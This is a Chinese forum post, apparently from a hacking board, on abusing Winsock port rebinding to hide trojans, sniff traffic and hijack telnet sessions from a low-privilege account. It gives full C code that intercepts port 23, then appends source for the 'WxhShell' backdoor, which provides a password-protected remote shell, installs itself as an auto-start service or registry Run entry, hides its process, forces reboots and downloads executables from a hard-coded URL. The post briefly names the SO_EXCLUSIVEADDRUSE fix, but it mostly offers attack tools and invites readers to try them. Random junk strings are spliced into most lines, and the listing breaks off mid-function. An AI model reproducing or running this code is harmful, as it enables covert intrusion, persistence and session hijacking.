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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X]0>0=^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O*EV~ {K  
PVCoXOqh  
  saddr.sin_family = AF_INET; #.Rn6|V/4  
[{x}# oRSE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J +6zV m  
?"B] "%M&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9j,g&G.K  
"/W[gP[y%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }Z!D?(  
%q{q.(M#  
  这意味着什么?意味着可以进行如下的攻击: d1 j9{  
2QfN.<[-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ',+yD9 @  
BrV{X&>[i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Z~5) )5Ye;  
xUo6~9s7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k:@DK9 "^  
+a1x;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Cm}2>eH  
OmYVJt_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V2MOD{Maat  
(Fv tL*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xs$$fPAQ  
n<I{x^!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rwm^{Qa  
IPiV_c-l  
  #include sibYJKOy  
  #include ]-fkmnmWX  
  #include %,$n^{v  
  #include    ?^}30V:E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   TCtZ2 <'  
  int main() %bW_,b  
  { k+3qX'fd  
  WORD wVersionRequested; 8%?y)K^ D  
  DWORD ret; K1B9t{T  
  WSADATA wsaData; MmuT~d/  
  BOOL val; kB\{1;  
  SOCKADDR_IN saddr; E~'mxx~i  
  SOCKADDR_IN scaddr; x(_[D08/TT  
  int err; K =g</@L6R  
  SOCKET s; t}EM X9SQ  
  SOCKET sc; qe~x?FO_>  
  int caddsize; wp[Ug2;G  
  HANDLE mt; bDI%}k9#  
  DWORD tid;    6@S6E(^  
  wVersionRequested = MAKEWORD( 2, 2 ); :2 ;Jo^6Se  
  err = WSAStartup( wVersionRequested, &wsaData ); KyvZ? R  
  if ( err != 0 ) { Tb/TP3N  
  printf("error!WSAStartup failed!\n"); M>8J_{r^  
  return -1; M6Fo.eeK3  
  } }aCa2%  
  saddr.sin_family = AF_INET; #YUaM<O  
   1<@SMcj>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mkl{Tp*  
,$P,x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AOf4y&B>q  
  saddr.sin_port = htons(23); LF<&gC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nla6QlFYn*  
  { cNs'GfD}  
  printf("error!socket failed!\n"); (~T*yH ~  
  return -1; 92+8zX  
  } c\bL_  
  val = TRUE; YIU3}sJ!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^)VwxH:s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :|7#D,2  
  { aQk&#OQy  
  printf("error!setsockopt failed!\n"); |@qw  
  return -1; 3r\8v`^>  
  } d|`Ll  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v* ;d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lW bu`y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Dn- gP  
"tK%]c d-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :FyF:=  
  { ~6vz2DuB=  
  ret=GetLastError(); >yIJ8IDF  
  printf("error!bind failed!\n"); xo:kT)  
  return -1; hy;VvAH 5  
  } IRdt:B|@  
  listen(s,2); jvT'N@  
  while(1) _KT!OYH  
  { k3\N.@\  
  caddsize = sizeof(scaddr); s6H'}[E<  
  //接受连接请求 ~z,o):q1 }  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xQy,1f3s+  
  if(sc!=INVALID_SOCKET) 8;PkuJR_]  
  { N<EVs.7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &W `xZyb3  
  if(mt==NULL) R>Ra~ b  
  { n|`3d~9$&  
  printf("Thread Creat Failed!\n"); n ]ikc|  
  break; XtF m5\U  
  } GK?ual1  
  } HpwMm^  
  CloseHandle(mt); 74s{b]jN'-  
  } |<%!9Z  
  closesocket(s); KKeMi@N  
  WSACleanup(); %!|w(Povq  
  return 0; }d$-:l ,w  
  }   L`NIYH<^  
  DWORD WINAPI ClientThread(LPVOID lpParam) JAbUK[:K  
  { BD g]M/{  
  SOCKET ss = (SOCKET)lpParam; <@<rU:o=V  
  SOCKET sc; J[ds.~ $  
  unsigned char buf[4096]; gN&i &%*!  
  SOCKADDR_IN saddr; pO]gf$  
  long num; zF&VzNR2  
  DWORD val; T U%@_vYR  
  DWORD ret; }xZi Ct  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &&ioGy}1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %p Wn9  
  saddr.sin_family = AF_INET; 6iC>CY3CG  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bbm\y] !t  
  saddr.sin_port = htons(23); 5*0zI\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jX53 owZ  
  { [^H2'&]  
  printf("error!socket failed!\n"); xn8K OwX%  
  return -1; F_-Lu]*  
  } j!;LN)s@?  
  val = 100; W{p}N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LiJYyp  
  { .Po"qoGy  
  ret = GetLastError(); _vQ52H,  
  return -1; XTol|a=  
  } ez4!5&TzRm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L"_X W no  
  { J0G@]H  
  ret = GetLastError(); ">uN={Iy  
  return -1; Aoa8Q E   
  } H`EhsYYK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $-4](br|  
  { gesbt  
  printf("error!socket connect failed!\n");  :Mx  
  closesocket(sc); _0/unJl`  
  closesocket(ss); Dc9uq5l  
  return -1; k.@![w\ea  
  } cx}Yu8  
  while(1) J8|MK.oD  
  { Daf|.5>(@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ik G&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _k84#E0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O&%'j  
  num = recv(ss,buf,4096,0); +ikSa8)*i  
  if(num>0) 9u=A:n\  
  send(sc,buf,num,0); 4;`z6\u9-  
  else if(num==0) ~/OY1~c  
  break; w$2q00R>  
  num = recv(sc,buf,4096,0); 'g v0;L  
  if(num>0) \ovs[&  
  send(ss,buf,num,0); f}otIf  
  else if(num==0) a[{$4JpK  
  break; 3i^X9[.  
  } =?sG~  
  closesocket(ss); "~KDm(D  
  closesocket(sc); PN* .9;5Z  
  return 0 ; )ycI.[C  
  } [-~pDkf:  
U ?[ (  
{gMe<y  
========================================================== k %I83,+  
l1KMEGmG  
下边附上一个代码,,WXhSHELL hCxg6e<[  
[lmF2  
========================================================== p_$^keOL  
js$R^P  
#include "stdafx.h" ">V&{a-C4  
(* -wiL  
#include <stdio.h> <o EAy  
#include <string.h> FW]tDGJOw  
#include <windows.h> yi7.9/;a  
#include <winsock2.h> '|}A /`  
#include <winsvc.h> *A-_*A  
#include <urlmon.h> )e(<YST  
A;AQw  
#pragma comment (lib, "Ws2_32.lib") i'Y8-})  
#pragma comment (lib, "urlmon.lib") =NB[jQ :(  
aNbS0R>l  
#define MAX_USER   100 // 最大客户端连接数 ly0R'4j \  
#define BUF_SOCK   200 // sock buffer ;hj lRQ\  
#define KEY_BUFF   255 // 输入 buffer R'BB-  
:e<jD_.X  
#define REBOOT     0   // 重启 MU<(O}  
#define SHUTDOWN   1   // 关机 c3]t"TA,  
0R x#Fm  
#define DEF_PORT   5000 // 监听端口  ?kjQ_K  
g 9,"u_  
#define REG_LEN     16   // 注册表键长度 j^G=9r[,  
#define SVC_LEN     80   // NT服务名长度 >%/x~UFc5  
yT ^x0?U  
// 从dll定义API CmEqo;Is  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'g#%>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )~2\4t4|g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2mLZ4 r>WE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @K;b7@4y  
n 0!8)Sth  
// wxhshell配置信息 5es t  
struct WSCFG { W"\~O"a  
  int ws_port;         // 监听端口 IjI'Hx  
  char ws_passstr[REG_LEN]; // 口令 "*vrrY  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6w.E Sm  
  char ws_regname[REG_LEN]; // 注册表键名 M7#!Y=  
  char ws_svcname[REG_LEN]; // 服务名 m8n)sw,,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7x)Pt@c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jAJ='|[X\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cILS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mK:gj&N7X|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^PG"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :{u`qi  
|q`NJ  
}; VL%. maj  
=<]`'15"V  
// default Wxhshell configuration &V4Zm n?UU  
struct WSCFG wscfg={DEF_PORT, vQWmHv\P  
    "xuhuanlingzhe", i)#-VOhX)  
    1, Xhe& "rM  
    "Wxhshell", *%xbn8  
    "Wxhshell", *)m:u:   
            "WxhShell Service", 5c- P lm%  
    "Wrsky Windows CmdShell Service", \`Hp/D1  
    "Please Input Your Password: ", ?N kKDvv  
  1, Ny^ 1#R  
  "http://www.wrsky.com/wxhshell.exe", !73y(Y%TE  
  "Wxhshell.exe" *g5bdQ:Av~  
    }; ~${~To8$CW  
OG$n C  
// 消息定义模块 Q2 q~m8(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e5_Hmuk|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $;v! ,>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w8lrpbLh  
char *msg_ws_ext="\n\rExit."; G ;j1zs  
char *msg_ws_end="\n\rQuit."; @*%3+9`yq  
char *msg_ws_boot="\n\rReboot..."; ? AfThJc  
char *msg_ws_poff="\n\rShutdown..."; a4:GGzt  
char *msg_ws_down="\n\rSave to "; 0ix(1`Z  
n;Bb/Z!~  
char *msg_ws_err="\n\rErr!"; tN#C.M7.'7  
char *msg_ws_ok="\n\rOK!"; L0w6K0J4  
1UP {j`-K|  
char ExeFile[MAX_PATH]; 6_mi9_w  
int nUser = 0; B=A!hXNa  
HANDLE handles[MAX_USER]; w/@ZPBRo]  
int OsIsNt; n#!c!EfG  
ERPg TZT  
SERVICE_STATUS       serviceStatus; #]h X ."b2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; APu$t$dmm  
Jg#0g eU  
// 函数声明 i(~DhXz*T  
int Install(void); #j2kT  
int Uninstall(void); h)Y] L#R  
int DownloadFile(char *sURL, SOCKET wsh); ~  QRjl  
int Boot(int flag); t/|0"\ p  
void HideProc(void); gIo\^ktW  
int GetOsVer(void); t/ \S9  
int Wxhshell(SOCKET wsl); WI\a  
void TalkWithClient(void *cs); @$ 7 GrT  
int CmdShell(SOCKET sock); +4yre^gC  
int StartFromService(void); `v -[&  
int StartWxhshell(LPSTR lpCmdLine); ~'M<S=W  
21TR_0g&<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8AR8u!;8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4t*%(  
gC}}8( k  
// 数据结构和表定义 ?]><#[?'L  
SERVICE_TABLE_ENTRY DispatchTable[] = ]>M\|,wh  
{ E &9<JS  
{wscfg.ws_svcname, NTServiceMain}, >0HH#JW  
{NULL, NULL} WK|5:V8E  
}; T"xJY#)}  
/r4l7K  
// 自我安装 XFWpHe_ L  
int Install(void) p]L]=-(qI  
{ [!uzXVS3  
  char svExeFile[MAX_PATH]; |r~u7U\  
  HKEY key; B:h<iU:'D  
  strcpy(svExeFile,ExeFile); |_?e.}K  
HOx4FXPs  
// 如果是win9x系统,修改注册表设为自启动 oq7G=8gTp  
if(!OsIsNt) { C1 ^%!)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a0NiVF-m%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >/ay'EyY;>  
  RegCloseKey(key); Zn9tG:V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8-#kY}d.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m>=DJ{KQ  
  RegCloseKey(key); SKC;@?  
  return 0; DS?.'"n[u  
    } 4iAF<|6s  
  } :#:|:q.]  
} MpOU>\  
else { hs7!S+[.$$  
N sdpE?V  
// 如果是NT以上系统,安装为系统服务 g8O6 b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @43psq1  
if (schSCManager!=0) <,CrE5Pl  
{ U:8[%a  
  SC_HANDLE schService = CreateService t7byOMC  
  (  G*z\ ^H  
  schSCManager, 'K4FS(q  
  wscfg.ws_svcname, hywcj\[  
  wscfg.ws_svcdisp, TuQGF$n@  
  SERVICE_ALL_ACCESS, xM%4/QE+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tp`1S+'~j  
  SERVICE_AUTO_START, ROFZ*@CH<  
  SERVICE_ERROR_NORMAL, xhP~]akHN7  
  svExeFile, "3^tVX%$\[  
  NULL, 9FDu{4:  
  NULL, 6f +aGz  
  NULL, f<8Hvumw  
  NULL, |aDBp  
  NULL ~N!HxQ  
  ); k6CXuU  
  if (schService!=0) 'xH^ksb"  
  { `X<B+:>v-  
  CloseServiceHandle(schService); T-N>w;P  
  CloseServiceHandle(schSCManager); JP8}+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u"h/ERCa  
  strcat(svExeFile,wscfg.ws_svcname); }JFTe g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t5{P'v9J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uHU@j(&c  
  RegCloseKey(key); )JzY%a SP  
  return 0; e!5} #6Kd  
    } g-qXS]y7  
  } >NUbk9}J4  
  CloseServiceHandle(schSCManager); u%C oo  
} f\_RW;y|m  
} c|/HX%Y  
FJeh=\  
return 1; @jn&Wf?  
} m?kiGC&m  
AM- bs^  
// 自我卸载 uG\~Hxqw7O  
int Uninstall(void) *I 1H  
{ y?OP- 27y  
  HKEY key; \:;MFG'  
"0HUaU,e  
if(!OsIsNt) { JY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~/G)z?+E  
  RegDeleteValue(key,wscfg.ws_regname); `=Ip>7T&  
  RegCloseKey(key); )'kpO>_G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _V$'nz#>e  
  RegDeleteValue(key,wscfg.ws_regname); E7$&:xqx  
  RegCloseKey(key); [[|#}D:L  
  return 0; (~DW_+?]'  
  } 9w-\K]  
} *X .1b!  
} 2u$-(JfoS  
else { ,)`_?^ \$f  
-$8ew+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vh\i ^  
if (schSCManager!=0) zA5nr`  
{ e \Qys<2r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?;,;  
  if (schService!=0) h~>1 -T8  
  { }StzhV{GS  
  if(DeleteService(schService)!=0) { %O`@}Tg  
  CloseServiceHandle(schService); m]jA(  
  CloseServiceHandle(schSCManager); EL~$7 J  
  return 0; gBqDx|G  
  } ?L }>9$"  
  CloseServiceHandle(schService); DvH-M3  
  } ]nsjYsT  
  CloseServiceHandle(schSCManager); D_lRYLA+  
} dWd%>9 }  
} S1$^ _S =  
+@ChZ  
return 1; jf3Zy :*K  
} t2,II\K l  
xJ3C^b%H  
// 从指定url下载文件 FQ>$Ps*a[  
int DownloadFile(char *sURL, SOCKET wsh) ]ogifnwv  
{ $5pCfW8>  
  HRESULT hr; yv-R<c!'  
char seps[]= "/"; e bze_:  
char *token; +iC:/CJL  
char *file; }T[ @G6#  
char myURL[MAX_PATH]; kx&JY9(&#  
char myFILE[MAX_PATH]; 5qrD~D '  
b^HDN(v  
strcpy(myURL,sURL); 5az%yS  
  token=strtok(myURL,seps); ^(JrOh'  
  while(token!=NULL) eC5*Q=ai,  
  { Mqr]e#"o  
    file=token; ^/#+0/Bn  
  token=strtok(NULL,seps); [ K?  
  } 9p8ajlYg,  
"5N4 of 8  
GetCurrentDirectory(MAX_PATH,myFILE); [WDzaRzd  
strcat(myFILE, "\\"); 7RT{RE  
strcat(myFILE, file); 0$|VkMq(  
  send(wsh,myFILE,strlen(myFILE),0); [#GBn0BG)  
send(wsh,"...",3,0); c';~bYZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 30HUY?'K  
  if(hr==S_OK) 2mEqfy  
return 0; NAo.79   
else 8fqabR  
return 1; .6gx|V+  
-o+t&m  
} %R$)bGT  
zh) &6'S\  
// 系统电源模块 eY 3:Nl^  
int Boot(int flag) }#1.$a  
{ "1s ]74  
  HANDLE hToken; St?mq* ,  
  TOKEN_PRIVILEGES tkp; /6rjGc  
Mg\588cI  
  if(OsIsNt) { cP tDIc,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Mh`^-*c?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q-t%spkl  
    tkp.PrivilegeCount = 1; vE9"1M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k Fl* Im  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q5g_5^csM{  
if(flag==REBOOT) { Fe[6Y<x+:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |!K&h(J|  
  return 0; #4|RaI|.  
} GYw/KT~$  
else { 87[o^)8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ub 2'|CYw  
  return 0; m:Rx<E E  
} PE7V1U#$o,  
  } cMi9 Z]  
  else { =pe O %  
if(flag==REBOOT) { p3fV w]N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,dba:D= l  
  return 0; rKPsv*w  
} F@/syX;bb5  
else { NHZMH!=4:n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z*nztvY@e  
  return 0; @uC-dXA"  
} F4(;O7j9  
} :8n?G  
Q3lVx5G>4  
return 1; A f?&VD4K  
} fo}@B &=4  
LzXIqj'H7T  
// win9x进程隐藏模块 N0fE*xo  
void HideProc(void) ed,+Slg  
{ ,,XHw;{  
w;VUP@Wm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m";8 nm  
  if ( hKernel != NULL ) ~l+~MB  
  { 0T3r#zQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >&<D.lx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,_,7c or  
    FreeLibrary(hKernel); z"5e3w  
  } \i~5H]?d  
tSDp>0yZ3  
return; E3Z>R=s  
} -NG9?sI\U  
=L$RY2S"  
// 获取操作系统版本 \l6mX In=>  
int GetOsVer(void) Zfu" 8fX  
{ IsL=DV/  
  OSVERSIONINFO winfo; jaThS!>v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t[%=[pJHW  
  GetVersionEx(&winfo); QL(}k)dB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `).;W  
  return 1; 0txSF^x  
  else lSId<v?C>  
  return 0; x^F2Ywp%  
} '.&,.E&{$  
y(#F&^|  
// 客户端句柄模块 BcGQpv&x  
int Wxhshell(SOCKET wsl) /`x|-9  
{ 7f=9(Zj  
  SOCKET wsh; -JF|770i  
  struct sockaddr_in client; \No22Je6d  
  DWORD myID; a7NX~9 g  
K3UG6S\B  
  while(nUser<MAX_USER) Q!%CU8!`&  
{ I(WND/&  
  int nSize=sizeof(client); $PbN=@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y@'1}=`J  
  if(wsh==INVALID_SOCKET) return 1; "ZVBn!  
P3XP=G`E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (Gxv?\  
if(handles[nUser]==0) D+_PyK~ jc  
  closesocket(wsh); X'bp?m  
else }Lwj~{  
  nUser++; **YNR:#Y  
  } RZE:WE;5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ah2XwFg?  
@p2dXJeR<  
  return 0; =09j1:''<d  
} *DoEDw  
~h[lu^ZSi  
// 关闭 socket G@Zi3 5  
void CloseIt(SOCKET wsh) '*p-`  
{ $t </{]iX  
closesocket(wsh); qXW2a'~  
nUser--; 2|w.A!  
ExitThread(0); u&I~%s  
} ~(0Y`+gC  
j'0*|f^z  
// 客户端请求句柄 1y8:tri>N  
void TalkWithClient(void *cs) KF-gcRh  
{ XY QUU0R  
<ct{D|mm  
  SOCKET wsh=(SOCKET)cs; U14dQ=~b/  
  char pwd[SVC_LEN]; Z*e7W O.  
  char cmd[KEY_BUFF]; qaGIU`}:$A  
char chr[1]; fW}H##b  
int i,j; =v5(*$"pd"  
^lMnwqx<  
  while (nUser < MAX_USER) { (U dDp"/  
f,a4LF  
if(wscfg.ws_passstr) { o_*|`E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q}.y"|^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +[ }]a3)  
  //ZeroMemory(pwd,KEY_BUFF); /~tfP  
      i=0; 6k3l/~R  
  while(i<SVC_LEN) { fAUsJ[  
s* YFN#Wuc  
  // 设置超时 ujWHO$uz!  
  fd_set FdRead; S@"=,Xj M  
  struct timeval TimeOut; K ;xW/7?  
  FD_ZERO(&FdRead); sBu"$ "]  
  FD_SET(wsh,&FdRead); hA\8&pI;  
  TimeOut.tv_sec=8; yRi/YR#  
  TimeOut.tv_usec=0; `Zi#rr|)L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o5$K^2^g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D\l.?<C  
_0j}(Q>|H#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S+>]8ZY  
  pwd=chr[0]; Pd;ClMa%  
  if(chr[0]==0xd || chr[0]==0xa) { EIEq[`h  
  pwd=0; E;d 5$  
  break; CC-:dNb  
  } uN(~JPAw5  
  i++; v!U#C[a^  
    } f8^58]wx0  
@>:07]Dxo  
  // 如果是非法用户,关闭 socket 835Upj>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CGe'z  
} lM1!2d'P  
R39R$\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5)o IPHXw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B:r-')!0$#  
"=n8PNV/ c  
while(1) { *f#4S_ws`  
.M{[J]H`t  
  ZeroMemory(cmd,KEY_BUFF); .XB] X  
CzEn_ZMb  
      // 自动支持客户端 telnet标准   Mqtp}<*@-  
  j=0; +r!h*4  
  while(j<KEY_BUFF) { ?W|IC8~d')  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MHYf8HN  
  cmd[j]=chr[0]; 2,;t%GB  
  if(chr[0]==0xa || chr[0]==0xd) { _Lb& 2 PAG  
  cmd[j]=0; EDQJ>c  
  break; r"[T9  
  } nm-Y?!J  
  j++; |YFD|  
    } ` j<tI6[e  
?^vZ{B)&0E  
  // 下载文件 f,a %@WT  
  if(strstr(cmd,"http://")) { Lb{D5k*XU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e,*[5xQ  
  if(DownloadFile(cmd,wsh)) &P3vcB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k0IU~y%  
  else JAz;_wS(k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -N(MEzAE  
  } {LD8ie|x1`  
  else { KTEis!w  
VT7NWT J,  
    switch(cmd[0]) { "'#Hh&Us  
  &Kp+8D*  
  // 帮助 U}0/V c26  
  case '?': { a&hM:n4P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z.^ )r  
    break; k-e@G'  
  } ~QcKW<bz  
  // 安装 ):@%xoF5  
  case 'i': { :GYv9OG  
    if(Install()) s- V$N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,AM-cwwT:u  
    else eFI4(Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \(FDR  
    break; _64@zdL+  
    } -JENY|6  
  // 卸载 @ 1A_eF  
  case 'r': { #+PbcL  
    if(Uninstall()) o {LFXNcg[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `C?OAR44  
    else fO>~V1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >2 qP  
    break; RWo B7{G  
    } B-|Zo_7  
  // 显示 wxhshell 所在路径 <pUou  
  case 'p': { K:@=W1  
    char svExeFile[MAX_PATH]; I}IW!K  
    strcpy(svExeFile,"\n\r"); @EZONKT  
      strcat(svExeFile,ExeFile); l5ds`uR#  
        send(wsh,svExeFile,strlen(svExeFile),0); }z+"3A|  
    break; [1^wy#  
    } yo,!u\^x  
  // 重启 r_E)HL/A  
  case 'b': { U.'@S8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n;`L5  
    if(Boot(REBOOT)) 5z ^UQ q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9%14k  
    else { ~{G: ,|`  
    closesocket(wsh); c.Z4f 7  
    ExitThread(0); S\;.nAR  
    } -$t,}3  
    break; am+mXb  
    } ha! "BR  
  // 关机 9 /(c cj  
  case 'd': { Z<<gz[$+p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f {Z%:H  
    if(Boot(SHUTDOWN))  ja- ~`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b_Jq=Gk`  
    else { +|YZEC  
